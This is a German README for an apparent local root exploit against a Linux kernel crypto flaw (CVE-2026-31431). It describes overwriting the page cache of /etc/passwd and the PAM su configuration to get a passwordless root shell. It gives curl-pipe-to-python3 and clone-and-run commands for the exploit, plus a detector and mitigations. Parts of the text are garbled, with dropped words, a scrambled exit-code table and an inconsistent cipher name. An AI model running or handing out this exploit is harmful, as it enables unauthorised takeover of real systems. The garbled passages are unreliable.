
Lokaler Privilege-Escalation-Exploit für CVE-2026-31431 im algif_aead des Linux-Kernels, der splice nutzt, um den Page Cache zu überschreiben und Root-Rechte zu erlangen. Enthält einen schreibgeschützten Detektor.
CVE-2026-31431 ist eine lokale Rechteausweitungsschwachstelle im algif_aead-Subsystem des Linux-Kernels. Die authencesn-AEAD-Implementierung führt eine Entschlüsselung an Ort und Stelle über splice(2) durch und platziert dabei eine Page-Cache-Seite in der Ziel-Scatterlist. Ein 4-Byte-Wert aus der AAD (seqno_lo) wird in diese Page-Cache-Seite zurückgeschrieben, bevor das Authentifizierungstag verifiziert wird – wodurch ein nicht privilegierter Benutzer beliebige Bytes des Kernel-Page-Caches jeder weltweit lesbaren Datei überschreiben kann.
Verwundbar seit: Kernel 4.14 (August 2017) – als authesn in algif_aead eingeführt wurde
Fixes veröffentlicht für: nur die Stable-Linien 6.12, 6.17 und 6.18
Dauerhaft ungepatcht: Kernel 4.14–6.11 (EOL; kein Backport wird veröffentlicht)
Erforderliche Primitiven: AF_ALG-Socket, authesn(hmac(sha256),cbc(aes))-Chiffre, splice(2) in einen AF_ALG-Socket-fd
Auswirkung: Lokale Rechteausweitung auf root – vollautomatisch, kein Passwort erforderlich
Der Exploit wendet zwei Page-Cache-Patches nacheinander an und führt dann automatisch su aus:
/etc/passwd-Patch – öffnet die Datei (weltweit lesbar), füllt ihren Page-Cache und nutzt dann die authesn-Splice-Primitive, um das 4-stellige UID-Feld des laufenden Benutzers auf 0000 zu setzen. Nach dem Patch meldet getpwnam() den Benutzer als UID 0.
/etc/pam.d/su-Patch – pam_rootok.so und pam_permit.so sind beide exakt 13 Zeichen lang. Zwei 4-Byte-Schreibvorgänge ersetzen pam_rootok.so durch pam_permit.so im Page-Cache der PAM-Konfiguration. Da pam_permit immer PAM_SUCCESS zurückgibt, feuert die vorhandene Zeile auth sufficient sofort – es wird keine Passwortabfrage ausgegeben.
Automatische Shell – das Skript führt aus. PAM authentifiziert ohne Passwort (Schritt 2), dann gelingt , weil UID 0 meldet (Schritt 1). Eine Root-Shell wird ohne Benutzerinteraktion zurückgegeben.
Zu keinem Zeitpunkt finden Schreibvorgänge auf die Festplatte statt. Das Verwerfen des Page-Caches (echo 3 > /proc/sys/vm/drop_caches) oder ein Neustart macht beide Patches vollständig rückgängig.
Nur für autorisierte Tests. Führen Sie dies nur auf Hosts aus, die Ihnen gehören oder für deren Bewertung Sie ausdrücklich beauftragt sind.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
Eine Root-Shell wird automatisch zurückgegeben – kein Passwort erforderlich.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG-Socket-Unterstützung aktiviert (bei den meisten Distributionen Standard)authesn(hmac(sha256),cbc(aes)) ladbar (bei den meisten Distributionen Standard)test_cve_2026_31431.py ist ein sicherer, schreibgeschützter Detektor, der in diesem Repository enthalten ist. Er testet die algif_aead-Splice-Primitive gegen eine Wegwerf-Sentineldatendatei, die er in einem temporären Verzeichnis erstellt – keine Systemdatei wird jemals berührt. Er gibt ein Urteil aus und beendet sich mit einem klar definierten Exit-Code:
| Exit-Code | Bedeutung |
|---|---|
0 | Nicht verwundbar – Vorbedingung nicht erfüllt oder Page-Cache wurde nicht modifiziert |
Ausführen:
# Einzeiler (keine Installation erforderlich)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# Oder aus einem lokalen Klon
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
Beispielausgabe auf einem verwundbaren Kernel:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
Beispielausgabe auf einem gepatchten Kernel:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
algif_aead über /etc/modprobe.d: install algif_aead /bin/falseAF_ALG-Sockets mit seccomp- oder LSM-Richtlinien.net/tls + crypto/algif_aead – authesn-In-Place-Dst-Scatterlist-Isolationsu <user>setuid(0)getpwnam()1 | Testfehler (z. B. AF_ALG nicht verfügbar, splice nicht unterstützt) |
2 | VERWUNDBAR – Markierungsbytes landeten in der gespliceten Page-Cache-Seite |